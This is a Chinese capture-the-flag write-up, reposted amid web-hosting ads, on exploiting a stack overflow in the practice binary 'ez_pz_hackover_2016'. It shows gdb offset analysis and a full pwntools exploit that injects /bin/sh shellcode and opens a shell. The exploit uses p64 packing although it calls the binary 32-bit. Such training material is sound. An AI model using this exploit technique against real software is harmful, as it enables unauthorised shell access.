189 8069 5689

[PWN]shellcode2016-创新互联

2016_ez_pz_hackover 题目地址:BUUCTF 1.查看文件信息

checksec一下:32位文件,没有开启任何保护

双阳网站制作公司哪家好,找创新互联!从网页设计、网站建设、微信开发、APP开发、成都响应式网站建设公司等网站项目制作,到程序开发,运营维护。创新互联2013年开创至今到现在10年的时间,我们拥有了丰富的建站经验和运维经验,来保证我们的工作的顺利进行。专注于网站建设就选创新互联

运行:提示输入一串字符串

image-202211302020174402.IDA分析 main函数:

​ fgets函数读取0x3ff字符串到s变量,但是s变量距离ebp有0x40c(>0x3ff)的距离,此处无法溢出

​ 函数会判断输入的字符串是否等于"crashme",等于则会进入vuln函数

image-20221130204637073

vuln函数:

​ 从变量s复制0x400字节到dest变量,由于dest变量距离ebp只有0x32个字节

​ 此处存在栈溢出

​ 由于本题目没有开启任何保护,因此可以直接写入shellcode,将返回地址覆盖为shellcode的地址,执行shellcode

​ shellcode利用pwntools工具自动生成

shellcode = asm(shellcraft.sh())

image-20221130213413619

分析:

首先要确定在vuln函数中shellcode的地址或者相对偏移(即距离复制过去的变量s(src)的距离)

利用gdb动态调试,输入"crashme/x00"字符串成功通过判断,跳入vuln函数

在vuln函数的nop指令处下断点

image-20221130215920372

gdb动态调试的python代码为

from pwn import *
#p=remote()
context.log_level='debug'
p=process('./ez_pz_hackover_2016')

gdb.attach(p,'b *0x8048600')
p.recvuntil('crash: ')
s_add=int(p.recv(10),16)
print (hex(s_add))
payload=b'crashme\x00'+b'aaaa'
p.sendline(payload)
pause()

终端显示,

输出的s变量的地址为 0xffcdb45c

image-20221201202809407

在gdb中输入 c 运行到断点

image-20221201202911739

stack 30 查看当前栈的数据

image-20221201203140514

可以发现只能看到’ashme’,没有找到’cr’字符串,

观察偏移栈0x20处的数据,为0x7263ffcd,其中 72代表’r’ 63代表’c’,(由于数据对齐造成)

因此输入点"crashme"的起始地址为栈偏移0x22,地址为0xffcdb422

输入点距离ebp(栈偏移0x38,地址0xffcdb438)的距离为 0x38-0x22 = 0xffcdb438-0xffcdb422 = 0x16

ebp地址为栈偏移0x38,返回地址为栈偏移0x3c,

shellcode字符串的写入地址为栈偏移0x40处(图中红框)

因此我们只需要将函数返回地址覆盖为 shellcode地址(shellcode字符串的写入地址为栈偏移0x40),即可执行shellcode

那么 如何得到shellcode的地址呢?

​ 我们注意到之前输出了s的地址0xffcdb45c,该变量距离shellcode的距离为 0xffcdb45c - 0xffcdb440 = 0x1c

​ 可以用 s_add - 0x1c 表示shellcode地址

构造payload:

shellcode_add = s_add - 0x1c

payload = b’crashme\x00’ + b’a’*(0x16-8+4) + p64(shellcode_add)+ shellcode

其中 0x16-8 是因为 ‘crashme\x00’ 占据8个字节

3.完整exp
from pwn import *
#p=remote('node4.buuoj.cn',29709)
context.log_level='debug'
p=process('./ez_pz_hackover_2016')

# gdb.attach(p,'b *0x8048600')
# p.recvuntil('crash: ')
# s_add=int(p.recv(10),16)
# print (hex(s_add))
# payload=b'crashme\x00'+b'aaaa'
# p.sendline(payload)
# pause()

p.recvuntil('crash: ')
s_add=int(p.recv(10),16)
print (hex(s_add))
shellcode = asm(shellcraft.sh())
shellcode_add = s_add - 0x1c
payload = b'crashme\x00' +  b'a'*(0x16-8+4) + p64(shellcode_add)+ shellcode
p.sendline(payload)
p.interactive()

成功得到flag:

image-20221201210705201

你是否还在寻找稳定的海外服务器提供商?创新互联www.cdcxhl.cn海外机房具备T级流量清洗系统配攻击溯源,准确流量调度确保服务器高可用性,企业级服务器适合批量采购,新人活动首月15元起,快前往官网查看详情吧


文章名称:[PWN]shellcode2016-创新互联
文章路径:http://cdxtjz.cn/article/deeocd.html

其他资讯